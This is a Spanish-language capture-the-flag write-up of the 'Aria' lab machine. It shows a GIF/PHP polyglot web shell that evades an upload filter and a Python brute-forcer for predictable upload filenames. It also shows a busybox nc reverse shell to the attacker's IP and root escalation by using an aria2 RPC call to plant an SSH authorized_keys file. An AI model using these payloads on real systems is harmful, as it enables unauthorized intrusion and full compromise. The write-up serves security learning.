Enumeramos puertos:
❯ nmap -sCV -p 22,80,1337 -oN 02-targeted.txt 10.212.91.25
...
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
1337/tcp open waste?
| --- Aria Debug Shell ---
...Enumeramos directorios y encontramos upload.php y la carpeta uploads/ (403):
❯ gobuster dir -u 'http://10.212.91.25/' -w directory-list-2.3-medium.txt -x php,txt,html,jpg -r
upload.php (Status: 200)
uploads (Status: 403)La web (upload.php) acepta imágenes ≤ 1 MB (gif/jpg/png) y las renombra con md5(time()·rand(1,1000)), prohibiendo <?php. Subimos un polyglot GIF/PHP que evade el filtro (cabecera GIF89a válida + etiqueta corta <?=):
❯ cat pwned.gif
GIF89a;
<?= phpinfo();exec($_GET['cmd']); ?>Como el nombre del archivo es predecible (md5(timestamp + rand)), hacemos fuerza bruta de la ruta con un script en Python que, para cada segundo dentro de una ventana reciente (now-20s … now) y cada rand de 1 a 1000, reconstruye el MD5 y lanza una petición HEAD a /uploads/<md5>.gif; cuando el código no es 404, encontró el archivo:
#!/usr/bin/env python3
import hashlib, time, requests
for ts in range(int(time.time())-20, int(time.time())+1):
for rand_num in range(1, 1001):
md5_hash = hashlib.md5(f"{ts}{rand_num}".encode()).hexdigest()
url = f"http://10.212.91.25/uploads/{md5_hash}.gif"
if requests.head(url, timeout=2).status_code != 404:
print("Found:", url)❯ ./bruteforce.py
[+] Testing: Encontrado!
[*] Found: http://10.212.91.25/uploads/889c93cdc96f0986be7ecdd25b71b7b9.gif (ts=1759862997 rand=686 status=500)Accedemos con ?cmd= para lanzar una reverse shell:
http://10.212.91.25/uploads/....gif?cmd=busybox%20nc%2010.212.91.35%201234%20-e%20/bin/bash
❯ ncat -nlvp 1234
Ncat: Connection from 10.212.91.25:53646.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Obtenemos la primera flag en /home/aria. El user.txt esconde, tras la flag, un mensaje en Zero-Width Space (ZWSP):
www-data@Aria:/home/aria$ xxd user.txt
00000000: 666c 6167 7b75 7365 722d 6431 3361 6461 flag{user-d13ada
...
0000002a: ... e280 8be2 ............ (caracteres ZWSP)Lo decodificamos (stegzero.com) y obtenemos un token:
token: maze-secPara escalar, vemos el servicio aria2 corriendo como root con su RPC en local:
www-data@Aria:/home/aria$ ss -tuln
...
tcp LISTEN 0 128 127.0.0.1:6800 0.0.0.0:*
...
www-data@Aria:/home/aria$ ps aux | grep aria2c
root 344 ... /usr/bin/aria2c --conf-path=/root/.aria2/aria2.confCon el token autenticamos contra el RPC (primero verificamos la versión). Sin token responde Unauthorized:
www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.getVersion","id":"Q1","params":["token:maze-sec"]}'
{"id":"Q1","jsonrpc":"2.0","result":{"version":"1.35.0"}}En nuestra máquina generamos un par de claves SSH sin passphrase, copiamos la pública como authorized_keys y la servimos por HTTP:
❯ ssh-keygen -t rsa -f id_rsa_root -N ''
❯ cp id_rsa_root.pub ./authorized_keys
❯ sudo python -m http.server 80Abusamos de aria2.addUri (descarga arbitraria que corre como root) para escribir nuestro authorized_keys en /root/.ssh y entrar por SSH:
www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.addUri","id":"add","params": ["token:maze-sec",["http://10.212.91.35/authorized_keys"],{ "dir":"/root/.ssh/", "out":"authorized_keys" }]}'
❯ ssh root@10.212.91.25 -i id_rsa_root
root@Aria:~#Obtenemos nuestra flag.
Fin.